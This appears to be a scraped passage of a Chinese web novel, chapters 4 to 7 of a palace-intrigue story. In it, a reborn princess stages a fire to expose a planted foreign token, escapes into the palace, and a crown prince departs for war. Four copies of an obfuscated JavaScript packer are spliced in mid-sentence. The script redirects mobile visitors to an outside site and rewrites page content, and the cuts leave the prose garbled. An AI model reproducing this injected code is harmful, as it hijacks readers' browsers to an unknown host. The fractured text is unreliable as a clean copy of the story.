裴旖静静抬起眸看她一眼,少女的面庞圆润讨喜,脸颊上的稚气还未脱,她一时看不出来对方是故意的还是天性使然,那边晏月华有些讶异地看过来:“哦?” 京中无人不知,太子的性子桀骜孤高,寻常人入不了他的眼。他与几位皇亲甚至皇帝本人的关系都称不上亲密,对郡主的态度更是十分冷淡,宫宴时坐在她身旁时看都不看她一眼,如今他启程在即,竟然有闲情逸致留她闲聊,实属不可思议。 裴旖收起目光,下意识想解释说书房里还有旁人在,但话到唇边时她突然转念,轻描淡写道:“女儿进门时看到殿下案上摊开的书,好奇与殿下闲聊了几句,不知不觉就忘了时辰。” 晏月华身后的嬷嬷是打她未出阁时就伺候她的,听言深深看了裴旖一眼,神色里似乎有几分怀疑。而晏月华的脸色还跟方才一样,笑意盈盈道:“如此甚好,我原还担心他不肯开窍,这样日后你嫁过去我也放心了。” 裴旖望着面前的美艳面庞,幽幽问:“母亲舍得我嫁出去?” 重生一次,她才终于后知后觉感到讽刺可笑,哪有为人父母会在亲生女儿丢失十八年后,才将她寻回来就急着要把她嫁出去的? 晏月华笑道:“这是什么傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930948|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话?你早晚都要嫁人的,何况你要嫁去的是东宫,我就是再舍不得,还能将你留成老姑娘不成?” 裴旖微微笑了下,装作有些忧心问:“但是此次太子殿下与凉昭的战役,是否十分凶险?” 对方宽慰的腔调有些敷衍:“阿绥从小长在军营,十四岁时就已带兵打仗,你无需担心他。” 裴旖心中冷笑,当然,他是太子,哪有那么容易被你们设计陷害,她最应该担心的人是她自己。 嬷嬷走上前将她的汤碗斟满,声音听不出什么情绪:“郡主无需担忧,太子吉人天相,又有郡主所赠的吉物在身上,自能逢凶化吉。” 裴旖掀眸看着她沟壑深沉的侧脸,回想起前世的种种,隐约觉得自己身上这枚玉佩似乎另有玄机。 按照前一世的时间,明日一早长公主即将送她入狱。长公主为何要在今晚特意叮嘱她将它送给太子?难道就只是为了让她在被诬陷是假郡主时无从自证吗? 而太子与她毫无情谊可言,在她被坐实欺君之罪惨死狱中之后,又为何会保留这枚玉佩两年时间直至回京下令将它同她一起安葬? 裴旖心不在焉轻轻搅着面前的汤碗,脑袋里被团团迷雾塞得拥挤又凌乱时,膳厅外突然响起一道沉稳的脚步声。 她余光看清楚来人后,黑眸蓦然一沉,刚要影影绰绰凝起来的思绪被打断,放下筷子,镇静抬起脸:“哥哥。” 陆从周嗯了一声,眉目间有些倦色。他的视线在裴旖身上掠一眼,没有停留,走到晏月华另一侧的位置,低沉唤了声:“母亲。” 此刻的长公主才是一位真正的母亲,她不厌其烦地笑着询问他今日都做了什么,见过什么人,午膳可有好好用过了……陆从周耐心极佳地一一作答,后半程裴旖没有再说过话,她慢吞吞吃着一块糕点,冷眼旁观着面前母慈子孝的画面。 驸马英年早逝,与长公主只留下了一子一女,在裴旖来到长公主府之前,偌大的府邸只有他们母子二人,另有一位晏月华母家表妹的女儿,叫谢颜,偶尔会过来小住。 谢颜自幼丧母,生得又娇美,晏月华对她甚是喜爱,有意撮合她和自己的儿子在一起,可惜陆从周只有长相遗传到了晏月华的优势,性情与张扬善谈的晏月华截然相反,对待这个娇滴滴的表妹很是高冷,惹得人家有好几次在他那里碰壁后泪眼盈盈地来找裴旖倾诉。 裴旖不擅长这种安慰,为了让对方心里好受一点,只能装作同病相怜苦恼诉说太子更冷漠、更无情。对方听言立即擦干眼泪,义愤填膺帮她痛骂了对方两个来时辰,以至于后来习惯成自然,两人每次见面时,都要骂一骂太子助兴。 在裴旖入狱之后,谢颜进不来大牢,几次托人送来过吃食,还在糕点里藏过字条,称她已经让自己的父亲和堂叔帮忙去查清诬陷之人,此事定会很快水落石出。 回忆起前一世在京城中为数不多被真心相待的时刻,裴旖的眸光微动,被桌子对面的人觉察到,无声望了过来。她若无其事收起视线,心中暗哂,陆从周除了脸有什么好的,谢颜为何如此想不开,非要嫁给他? 饭后,两人回各自的院子有一段同路,不得不走在一起。 以往这样独处的场景也有过几次,彼时裴旖很希望能跟这位兄长快些亲近起来,会尽力寻找话题与他搭话,如今她懒得再虚与委蛇,沉默走在他身后,可今日反倒是他先开口:“你去东宫了?” 她淡漠应了声是,然后不再言语,对方也沉默,仿佛方才只是随口一问。两人一前一后行了段路后,走进了池塘旁铺着鹅卵石的狭窄甬道,跟着两人的下人都自觉放缓了脚步,落后几步与二人保持着距离,身前的人在这时侧过头来,低声问了句:“你可想回长陵?” 5. 第 5 章 夜幕寂静,月光透过斑驳的竹影倾泻而下,裴旖抬起眸,借着夜色压住了眼底的诧异。 上一世她从东宫回来得早,没有在膳厅遇见陆从周,就也没有眼下两人间的这番对话。按照前一世的轨迹,明日一早太子领兵启程,紧接着诏狱的人登门长公主府,留给她应变的时间就只有这一个晚上。 她一时拿不准面前人的真实意图,迟疑着没有回应。对方的语气波澜不惊,好似只是在关心她这个妹妹思乡情切:“若你想回去,明日在太子离京前来找我。” 语毕,不再等她回答,陆从周朝自己别院的方向快步走了过去。 裴旖怔怔望着月夜下远去的背影,心下惊异又费解,他这是什么意思?是预料到她即将遭遇的事情于心不忍?还是又想利用她达到什么其他的目的? 身后青霜跟了上来。裴旖心神不宁回到别院,匆匆沐浴过后问青霜:“太子明日几时起程?” 青霜握着梳子的手停了停,从铜镜里看她:“卯时。郡主要去送殿下吗?” 裴旖缓缓摇了摇头,昏黄光线下的脸色幽沉凝重。 上一世是陆从周代替长公主出面来狱中了结了她的性命,她喝过他的毒酒,绝不可能再将事关自己性命的事托付于他。 陆从周自然是不可信的,可晏绥也同样不可靠。 方才在东宫她已经将戏演尽,但晏绥最终也没有明确表态。她能清楚感受到他眼神里的玩味,似乎她的话是真是假对他而言都不重要,反正他也根本没将长公主府放在眼里。 至于她被人诬陷后是死是活那就更与他无关了,因为无论是长公主的真女儿嫁入东宫,还是受制于人的假郡主嫁入东宫,都是其背后的人意图对他不利,二者于他来说没有区别。 裴旖闭上眼睛,觉得有些头疼。半晌,她轻轻长出一口气。 一旁的青霜察言观色,热心解语道:“郡主可是在苦恼明日太子殿下启程无法亲自相送?奴婢倒有一法子,郡主可以明日一早换上奴婢的衣服,趁着守卫交接时从西北角的偏门悄悄出去。” 裴旖阖着眼漫不经心想,这一招送行用便不必了,若是逃命用倒还可行。 只是如此一逃,自己的罪名就直接坐实了。更何况想要她性命的人是长公主,她孤身一人,势单力薄,又能逃到哪里去? 青霜退下之后,裴旖环顾四周,不知那块令牌现下有没有被放进来,又被藏在了哪里。 若是此刻贸然翻动,一是卧房内的物件太多,一时间难以细致找寻。二来夜深人静翻找起来的动静太大,外间守夜的丫鬟一定会听到。 此刻她身边没有一个可以信任之人,别院中的每一个人都有可能是长公主派来监视她的。她在烛火前静默坐了良久,最后站起身,熄灭了蜡烛。 皎洁的月光从窗檐的缝隙渗漏进来,裴旖静静躺在床上,回想起在诏狱里那段生不如死的日子,她也是这样在漆黑中整夜望着窗外照进来的月亮。 但此刻没有时间给她回忆感伤。从她重生到现在不过两个时辰,她一直被推着往前走,应对着一个又一个心思难测的人。她不是他们当中任何一个人的对手,但她占了重生一次的先机。 她在脑海中又过了一遍今晚在东宫所发生的种种,自己的时间实在太少,还不够她取得晏绥的信任。他的态度不明,她不能将自己的希望全部押在他身上等待他未知的救援,她必须自救。 裴旖抬起眼,看向桌案上还没有完全熄灭的烛芯,猫一样的狭长黑眸里簇起暗淡的火光,幽幽融进夜幕中。 * 入夜,东宫依旧灯火通明。 少女坐在书房的椅子上闲闲晃着腿,身着一袭简洁干练的暗红色裙装,腰间和领部辅以花纹装饰,衬得她气质飒爽出挑,声线也异常清脆:“皇兄,你到边境后万事当心,若是实在不敌便传书回来,我定去救你!” 晏绥倚在椅子里翻着一卷书,眼都没抬一下。旁边徐谨行将桌案上的东西逐一收进箱子里,同时一本正经恭维道:“公主实乃女中豪杰,属下拜服。” 晏然很受用,笑眯眯偏头往桌案上看过去,眼神忽然一亮,伸手捡起一样东西,好奇问:“这是谁送的?” 晏绥瞟过来一眼,没答话。晏然闻见香囊里的淡淡药香,略微思索后,轻哂一声,扬手把香囊扔到晏绥怀里,拖长了尾音戏谑道:“快带上罢,别辜负了太子妃的一番心意。” 晏绥本能抬手接住了香囊,垂眸看着掌心里的东西,作为信物来说实在是有些敷衍,颜色太素净,针脚也不精细,里里外外都看不出送礼人的一点情意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930949|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过她今晚前来的主要目的似乎是为了对他说那番话,送这个东西只是她顺带完成的一个任务。而会为她下达这个任务的人,就只有长公主了。 晏绥面无表情扔了香囊,又忽然有一瞬疑心闪过脑海。 长公主平常在大庭广众下撮合两人做戏给外人看也就罢了,为何今日要多此一举特意让她送来信物? 他若有所思盯着那枚香囊,晏然见状,弯唇调侃道:“皇兄,你这还没离开京城呢,就开始睹物思人了?” 晏绥无声收起视线。没有得到他的回应,晏然又扭头换了个目标:“徐统领,你还是替皇兄把那香囊也收进去吧,免得皇兄后悔起来,在边关夜不能寐。” 徐谨行对她的话十分听从,看都没看晏绥一眼就替他做了主,拿起香囊装进箱子:“公主所言极是。” 晏然在一旁指挥:“哎,你就这么放进去哪行?拿锦盒装好,可千万别把太子妃的心给磕着了。” 徐谨行又从箱子里掏出个盒子,将里面晏绥的匕首扔了出去:“公主深谋远虑。” 一旁的晏绥无语冷哂,懒得理这两人的一唱一和。他放下书闭目靠在椅背上,似是在想着什么事。晏然见状不再贫嘴,很自觉地噤了声,连晃腿的幅度都小了许多。 桌上燃着的香还剩下最后短短的一截,徐谨行将东西全都装好后,静默看着袅袅升腾的烟气,有些出神。 攻打凉昭,是他们在一年前就定下来的计划,与凉昭不知死活前来求娶准太子妃没有任何关系。他们也早就察觉到了最近长公主与璟王姐弟似有动作,只是万万没有想到,前来曝出此事的人,竟然会是郡主。 殿下不会被流言所扰,自然也不会因为郡主的话而更改出征的决定,可是方才郡主的那番说辞又实在出乎意料,徐谨行一时间也看不出她的投靠之意到底是真心还是长公主的又一步棋,更看不透此刻殿下心中是何定夺。 窗外一道黑影倏然闪过,紧接着一个一身黑衣的暗卫快步走进书房内单膝跪下:“殿下。” 晏绥缓缓睁开眼,漆沉眸色略沉。 面前的人是他半个时辰前刚派出去的,除非是出现了什么意外状况,否则不会如此迅速回来回话。 对方敛着眉,神情严肃道:“方才郡主的卧房,失火了。” 6. 第 6 章 “失火?!” 陆从周震惊抬起头。 面前的小厮点点头,心有余悸道:“方才火势十分凶猛,幸好郡主及时逃了出来,人无大碍,只是受了些惊吓,您要过去瞧瞧吗?” 陆从周沉着面色站起身,小厮忙拿起披风给他披上,跟在他身后小声抱怨道:“您又在书房熬了通宵,长公主知道了又要骂奴才没照顾好您了……” 陆从周没有理会对方的碎碎念,他的脚步很快,出了院子后远远看到东南的方向火光冲天,待他走进正厅时,晏月华也是刚到。厅内的少女看起来似是被吓坏了,她的寝衣外裹着件披风,身体瑟瑟发颤,左臂上缠着厚厚的纱布,人哭得梨花带雨,墨色长发凌乱披散在背上,面色苍白,两颊蹭上脏兮兮的炭灰,细声细气抽噎着:“母亲,哥哥。” 晏月华先是阴沉皱紧了眉头,而后又很快舒展。她走过场询问了一句裴旖的伤势,得知她只是被烫伤而且已经上了药,拍着她的后背淡淡安抚道:“莫怕,人没事就好。” 随后她扭头问,“今晚守夜的人是谁?” 两个婢女惶恐跪倒在地,晏月华厉声质问:“好端端的怎么会突然起火?你们都是怎么做事的?” 婢女吓得伏在地上哀声求饶。裴旖抹了抹眼泪,声音轻颤道:“母亲不要责怪她们,今日失火并非意外,而是有人蓄意谋害女儿。” 在场所有人听言皆是一怔,陆从周沉声问:“是何人?” 裴旖摇摇头:“我也不知。今夜我原睡得早,半梦半醒间隐约听到房顶上有异响,起初还以为是野猫,可是那道声音越听越像是脚步声。我心里害怕,想叫人进来,未料起身的时候正巧外面的人也破窗而入。” “当时四目相对,我吓得魂都没了,正要呼救时,对方见自己败露也仓皇而逃,匆忙间碰倒了窗边没有燃尽的烛台。” 厅内的气氛瞬间凝重起来,下人们也惊恐地面面相觑。当今皇上仁善,十分重视这位唯一的妹妹,一年前有人潜入府中行刺长公主,皇上听闻后龙颜大怒,自那之后长公主府上的守卫加强了两倍,今夜竟然还有人能神不知鬼不觉潜进郡主的卧房,如此想来实在可怕。 晏月华与陆从周两人神色各异地沉默着,不知是在怀疑裴旖所言的真假,还是在认真回想着可能的仇敌。 片刻之后,陆从周先开口问道:“你可有看清楚那个人的长相?” 少女正欲摇头时,眼眸忽然从迷茫转亮,像是突然想起了什么:“长相没有看到,但是那人逃跑时我听见他身上有东西掉下来,听起来好像是匕首或者令牌之类的金属物件!” 晏月华听见令牌两个字时眸光极其隐晦地一振,陆从周的神色依旧沉稳如常:“好,我知道了。” 他吩咐青霜,“先带郡主去厢房休息。” 青霜应声走上前来,裴旖余光环顾了眼四周,还欲再搞出点事情拖延时间时,门外的婢女突然走进来禀报:“公主来了。” 上京城里有多位公主,而能叫人不带任何前缀去称呼的公主,只有一人。 这可是位实打实的稀客,在场的所有人包括裴旖全都很是意外。晏月华身后的嬷嬷神色审慎地望了眼裴旖,晏月华半是诧异半是不耐地蹙起眉头:“晏然?” 话音刚落,门外的少女已经踱着步子气定神闲晃了进来:“姑母。” 她在众人的视线中站定,身姿轻盈而笔直,手里折握着一支小巧精致的红色鞭子,衣着和发髻都与寻常贵女们的风格很是不同,看起来有种别样的利落英气。 “方才我在东宫,听说郡主的别院出事了,所以过来看看。” 她的目光在厅内巡视一周,最后落在裴旖脸上,弯了下唇,语气暧昧不明:“皇兄很担心呢。” * 窗外天色已经见亮。裴旖静静看着面前的变数,对来人意外,但又不完全意外。 晏然是皇帝与淑贵妃的女儿,性子聪颖爽朗,深受皇上宠爱。而贵妃又是太子的养母,有这样一层关系在,兄妹两人的关系亲近,平日里晏然经常出入东宫,甚至某种程度上来说,她也可以代表东宫。 裴旖不确定晏绥是出于什么态度让晏然前来,但无论如何,眼下的情形对她有利。 她心下稍感镇定,相反,接连突发的事件显然已经令晏月华十分不快,但她还要维持自己的长辈形象,勉强耐着性子与晏然寒暄了几句,在确认太子已经按照原定计划启程之后,晏月华面色稍虞,留晏然一起用早膳。 对方大大方方拒绝后,道明来意,邀请郡主去她宫中小住。 “郡主今夜受了如此大的惊吓,皇兄此刻人虽然已经启程上路,但想必心仍是留在京中。今日姑母府上失火之事实属人祸,在查清楚刺客来历之前,郡主的处境仍然危险,一来侍卫的训练并非一朝一夕,再者别院修复也需要时日。我已禀报父皇,这段时间就让郡主先在我宫中暂住,这样既可以保证郡主的安全,我也好向皇兄交差。” 她慢条斯理笑了笑,“姑母意下如何?” 晏月华没有立即回应,而是别有深意看了眼裴旖。她竟不知,自己这个女儿什么时候与东宫走得这样近,又是什么时候如此入得太子的眼了? 不只是她觉得古怪,就连裴旖本人也是相当惊疑。 晏绥肯派个人过来就已经是天大的面子了,她也只是想利用晏然做个见证的工具人而已,对方将她与太子的关系暧昧杜撰了一番不说,还毫无预兆地提出要带她走,她一时间倒有些迟疑不定。身旁陆从周出声道:“今日事出意外,我府上自会加强守备。公主美意,原不该推拒,只是——” “不该推拒就不要推拒了嘛。” 晏然笑吟吟打断他的话,随手拿鞭子在手腕上缠了几圈,漫不经心道,“而且就算是拒绝,也该是郡主姐姐拒绝我才对啊。” 少女的声调娇俏又刁蛮,带着几分懒洋洋的挑衅之意。几个胆子大的下人偷偷抬眼望过来,见世子脸色依旧平淡如常,似是并不屑与她计较。 他们又转而看向他身旁泪痕未干的郡主,她才回到京城不久,出了这么大的事儿,必然惊慌不安没有着落,此时定是会选择留在母亲身边。可下一刻,就见她抬起脸,轻轻开口道:“那就有劳公主了。” 此言一出,众人都暗自惊异。 陆从周眼里的探究渐深,裴旖视若不见。晏月华微微沉着脸,仍旧没有出言表态,晏然半是调笑,半是认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930950|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真道:“我这也是受人之托,郡主与我一起,姑母不会是不放心吧?” 房间内的氛围寂静,片刻之后,晏月华意味深长扬起唇:“青霜,好好跟着郡主,若再出什么差池,本宫拿你是问。” 青霜惊恐点点头,还未来得及应声,一个全身衣物黑黢黢湿透的小太监慌慌忙忙小跑进来,扑通一声跪倒在地,脏兮兮的双手呈上一物,声音急促又激动:“禀殿下和世子,别院的火已经扑灭了,但是奴才在废墟里发现了这个!” 众人皆循声望过来,只见他摊开的手心里躺着一块鸦青色的圆形令牌,上面刻着“南呈”二字。 裴旖黑瞳狠狠一振,暗暗屏息,压住了喉咙里汹涌漫起的苦涩凉意。 眼前的东西她再熟悉不过,上一世她所遭受的一切都始于这块牌子,今日她走了一招险棋,它也如她所愿现身。 她作出茫然状,看向一旁的母子二人。晏月华紧紧沉着眉目,长久抿唇不语,显然是没有料到这块令牌竟会被发现得如此之快,又在外人面前被公之于众。 而陆从周却像是愣了下,片刻之后,他下意识看了眼晏月华,面色如常看不出破绽,可眼眸里的不可思议却没能及时完全隐匿。 裴旖敏锐盯着他的侧脸,心中暗忖,难道此时的陆从周对令牌一事尚且不知情? 三人各怀心思,唯独晏然负着手歪头瞧了瞧那块令牌,展颜笑道:“啧,看来刺客的身份已经昭然若揭,接下来就等着表兄将人抓回来的好消息了。” 语毕,她也不管那两人的脸色,笑意盈盈告辞后,便带着裴旖扬长而去。 出了府,二人踏上马车,一路无言。 晏然闭眼倚在软榻上,脸色淡淡的,与方才在人前那副游刃有余的微笑面孔截然不同,看起来不太好相与。 裴旖静默坐在另一边,她与晏然在宫宴时曾见过几次,但并不相熟。 晏绥为人孤傲眼高于顶,晏然也没好到哪里去。皇帝共有三子四女,几位公主之中她最受宠爱,再加上与太子的关系,自然是京中贵女们讨好的对象,但每一个接近她的人,最终都毫无例外铩羽而归。 不过即使她再冷淡,面对她也好过面对长公主府里那些道貌岸然的人百倍。裴旖暗自无声长舒口气,眼下事情的走向虽然在她意料之外,但至少最大的危机已经暂时化解。 她疲倦向后靠过去,心中反复回想着今晚发生的几件事,正兀自出神,突然一团阴影飞速从窗外蹿入,直直奔着她撞了过来。 裴旖骇了一跳,身体本能猛地绷紧向一旁躲开,脑袋重重磕在窗檐上,疼得她没忍住低叫一声,蹙眉吸了口凉气,定神看清蹿进来的东西竟然是只雪白色的貂儿,毛皮漂亮光滑,目光锐利又明亮。 她隐约记起来之前曾听谢颜说起来过,公主养了只灵兽,小小一只,极通人性,速度又快,无人见过它的真面目,是太子攻打东澜时给她寻回来的,如今看来,就是眼前这一只了。 裴旖心有余悸松一口气,揉着额头望过去,只见那只貂儿乖顺趴在晏然的臂弯里蹭着脑袋,而它的主人不知何时睁开了眼,正似笑非笑看着她。 “姐姐,你这样的胆子,怎么敢去欺骗皇兄?” 7. 第 7 章 裴旖心里一沉,看着身旁人意味深长衔着笑意的面孔,沉默半刻后,镇定弯了下唇:“公主说笑了,我自然是不敢。” 晏然收起视线,纤纤手指漫不经心在白貂的脑袋上打着圈:“方才那块牌子,是你特意叫那个小太监寻出来的。” 那小太监进来时,脸色在紧张之余竟然还有些兴奋,且在回话的时候目光一直往郡主身上瞟,邀功之意十分明显。 裴旖没有否认,平静回道:“我想尽快查清楚刺客的身份。” 对方轻慢笑了一声:“那是南呈国的令牌。南呈一向粗鄙桀骜,对我大昱从未真心臣服,这两年还在京城安插了探子,之前皇兄抓到过几个,现在尸体还在西城楼上挂着呢。” 西城楼? 裴旖无声扯了下唇,那地方她可熟。 晏然垂眼逗着怀里的小兽,语气玩味道:“那些南呈人,熟水性,精暗器,唯独不擅长轻功。今夜他们能神不知鬼不觉潜进你的卧房,实属不可思议。” 裴旖心下又是一坠,随即面不改色反问:“公主的意思是,今夜的刺客可能是有人冒充的?” 马车缓缓停稳,熹微的天光透过车帘的缝隙照了进来。 “我的意思是,要么今夜的刺客是假的。” 晏然深深看她一眼,唇角仍旧若有似无噙着,“要么今夜的刺杀是假的。” 语毕,似是并不需要她的回应,身旁人起身下了马车。裴旖紧抿着唇看着她的背影,而后快速敛起神思,随她从车厢里踏了出来。 长宁宫。 与皇宫中其他的殿宇相比,这里算不上华贵,位置也偏远了些,但胜在静谧清幽,风景极佳。 裴旖被安排在偏殿,一干人等与物品早在她到来之前就已准备妥当。青霜伺候着她沐浴,她靠在木桶的边缘阖上眼,苍白面颊逐渐被熏蒸出浅淡的粉色。 演了一整夜的戏,裴旖内心里其实并没有表面上表现出来的那么淡定。她紧张悬心整夜,此刻终于可以短暂静下来,梳理自己目前的处境了。 长公主的反应在她的意料之内,这一次的陷害没有成功,对方应该很快还会有其他的动作,毕竟只有尽快将她假郡主的身份扣实,他们才能光明正大地迎回真郡主。 至于陆从周,无论他对今日之事是否知情,他最终都会选择与晏月华站在同一阵营。即使昨晚他是出于真心想要送她离开这里,她也绝无可能赌上自己的性命冒险去信任他。 但最令她难以捉摸的还是晏绥,他既怀疑她,却又叫人来帮她,那就只剩下一种可能,她可以为他所用。 裴旖苦笑暗叹,若是他想利用她这个假郡主来反制长公主,可就彻底打错了算盘。他们姑侄俩都想利用她来对付对方,眼下的她暂时只能在夹缝中艰难求生,走一步看一步了。 她轻轻舒一口气,在水下动了动脚趾,自嘲暗想,还是做鬼好啊,做人可比做鬼要辛苦多了。 这两年时间里,她的魂魄被困在上京城,这里热闹又繁华,但也充斥着权力的残忍,与算计的人心。 她喜欢这里,却不喜欢这样的生活。待她解决了与长公主的恩怨、找到自己的亲生父母之后,她一刻也不想留在这里,经历过上一世的大起大落,这一世的她只想保护家人,安稳度过余生。 想到养父母一家,裴旖缓缓睁开眼,涣散的眸光逐渐凝起。 一旁的青霜见状悄悄瞥过来视线。她年纪还小,藏不住情绪,忧心和惆怅都写在脸上了,反反复复看了她几眼,欲言又止。 裴旖虽不信任她,但也很清楚她只是个小姑娘,至多是替长公主监视她的日常而已,算不上帮凶。再者方才寻出来那块牌子时,她也留意过青霜的反应,对方的表情无辜又困惑,并不像是装出来的。她淡声问:“怎么了?” 青霜一向活泼多话,难得这样闷闷不乐,吞吞吐吐低声道:“也没什么……奴婢就是觉得,本来太子殿下就够难相与的了,如今公主也这般傲慢无礼。郡主为了殿下又少不得要忍让她,奴婢是替郡主觉得委屈。” 裴旖原还以为她是耐不住好奇想问自己是什么时候和太子相熟的,没想到她竟是在替自己不平。她颇有些意外,随口淡淡回道:“无妨,公主年纪还小,我让着她些也是应该的。” 身旁人没有被她宽慰到,仍旧忧心忡忡:“郡主迟早是要嫁入东宫的,还是早做打算吧。” 裴旖枕在木桶的边沿上,被热水浸得生出几分睡意,半阖着眼,心不在焉问:“如何打算?” 青霜想了想,认真分析道:“以郡主的处境,自然还是与太子殿下和睦最要紧。趁着这段时间在宫里,郡主不妨多去公主房里坐坐,一来可以向她了解殿下的脾性喜好,二来与公主走近后还可以讨得贵妃娘娘欢心,待殿下回来时必定会懂得郡主这番心意。” 裴旖闻言掀开眼皮瞟向她:“你方才不是还说公主太傲慢了,替我不平?” 怎么这会儿又叫她上赶子去讨好人家? “公主确实是傲慢不假。” 青霜目光幽幽望着她,“但等日后郡主嫁过来时,奴婢也是要跟过来的。” 裴旖:“…………” 原来她是怕自己将来被她这个窝囊主子牵连在宫中受窝囊气,所以只好从现在开始鞭策她了。 她心觉好笑,抬手揉了揉眉心,吩咐道:“待会儿你出宫去一趟济安堂,替我送一样东西。” 济安堂是京城里的一家医馆,老板姓顾,是她养父的师兄,也是长陵人,在她幼时两家住得很近,直到十年前顾家搬去上京。送她来京城时养父曾带她去拜访过顾家,顾伯父有两子,如今大儿子做药材生意,小儿子年长裴旖几岁,年纪轻轻,医术却十分高明,前年还考进了太医院,甚得太后的赏识。 青霜应了声是,转念又想到裴旖随身的物件方才已经全都被烧毁了,好奇问:“郡主要送什么?” 裴旖沉默半晌,轻声开口:“一张药方。” * 午后,京郊。 将士们的行进严明有序,步伐急促却沉稳有力,四周静谧,唯有马蹄与脚步的声音在空气中回荡。 队伍的前方,晏绥身披玄色铠甲,高踞马背之上。他目光直视着前方,面容深沉冷峻,周身散发着天生的上位者气场,仿佛有种能够平定一切的力量,令人心甘情愿誓死追随。 徐谨行骑马跟在他身侧,许久,开口问道:“殿下可是还在想昨晚郡主的那番话?” 身旁的人没有回应,徐谨行知道自已的猜测八九不离十,便又道:“殿下本就疑心长公主为何在人前如此高调宣扬当年的婚约,倘若真的如郡主所言,璟王与凉昭暗中勾结,以人言胁迫殿下亲征并将殿下困在边境之地趁机清洗朝中势力,这一切就都解释得通了。” 晏绥神色淡漠:“她昨日所言未必全然不可信,只是,她不该来东宫。” 徐谨行略微抿唇,这一点确实存疑。且不说长公主府与东宫的关系如何,单是每次见面时晏绥对郡主的冷漠态度,连他在一旁看着都替她觉得尴尬。她一个未出阁的姑娘,有母亲,有兄长,却偏偏去向一个厌恶她的男人求助,这的确不符常理。 但若是换个角度来看,“郡主才回到京城不久,对朝堂之事一知半解,不明其中的利害关系。再者此事事关她与殿下,倘若长公主真如她所偷听到的那样对她起了疑心,她慌乱无措,来向殿下求助也情有可原。” 徐谨行一本正经分析着,腔调里带着淡淡的戏谑,“毕竟于郡主而言,除了长公主之外,全京城里与她关系最亲近的人,就是她未来的夫君了。” 听到这个称呼,晏绥拧起眉,冷冷瞥他一眼,警告意味明显。不过徐谨行常年在太子头上动土,早就已经练就出了刀枪不入的本领,更何况能够这样调侃殿下的机会实在千载难逢,作为昨晚唯一的旁观者,他看得十分清楚,郡主的话可能是假的,但殿下对她的兴趣一定是真的。 想到昨日郡主跪在地上泪眼朦胧抬起脸的模样,漂亮又脆弱,亦真又亦假。 倘若她真的是长公主的一步棋,徐谨行不得不承认,这的确是相当精彩的一招。 “昨日殿下既让公主去接郡主入宫,想来还是更倾向于相信郡主。” 徐谨行看热闹不嫌事大,气定神闲问,“但倘若郡主真的欺骗了殿下,殿下又意欲将她如何呢?” 晏绥眸色微暗,还未等他回应,两名暗卫突然飞身而来。他勒马停住,凝神望着面前跪定的人。 “禀殿下,方才途径青冥岭时,属下发现有一人形迹匆匆,十分可疑,遂将人拦住,从他身上搜出了南呈的令牌。” 暗卫起身走上前,双手恭敬呈上牌子,面庞斯斯文文的,“属下已经将人请过来了,如何处置请殿下定夺。” 话音落下的同时,“砰”地一声闷响,一个身型结实的中年男人被五花大绑扔到地上,溅得尘土四起。 男人这一下被摔得不轻,痛得龇牙咧嘴哼了几声。他的外表甚是狼狈,头脸上全都是灰,衣服也被磨破了多处,仿佛在什么人的追逐之下奔波逃命了许久似的,此刻被擒到这里来,目光里也不见惧意,相反还十分凶狠嚣张。 晏绥接过令牌,抬了下眼,示意让他说话。暗卫抽掉堵在他嘴里的布,他环顾一周,目光迅速定在晏绥身上,扭头朝地上吐了口血水,一脸煞气问:“你就是晏绥?” 马上的人垂眸看着手里的令牌,面色毫无波动,似乎根本没有听到他的挑衅。 另一位暗卫是个年纪不大的姑娘,外表看着纤细无害,可力道却超乎寻常恐怖,她一脚踩在男人的膝盖上,骨骼迸裂声清脆乍起,对方蜷缩着身体惨叫一声,五官因为剧痛而狰狞拧到一起。 少女提着把有她半个身板儿宽的黑色长刀,脸庞甜美白净,脑后的双髻一左一右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930951|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂在颈后,像只垂耳的兔子。她靠在刀上,歪着头笑眯眯道:“我们殿下脾气好,可我们这些人就不是了。” 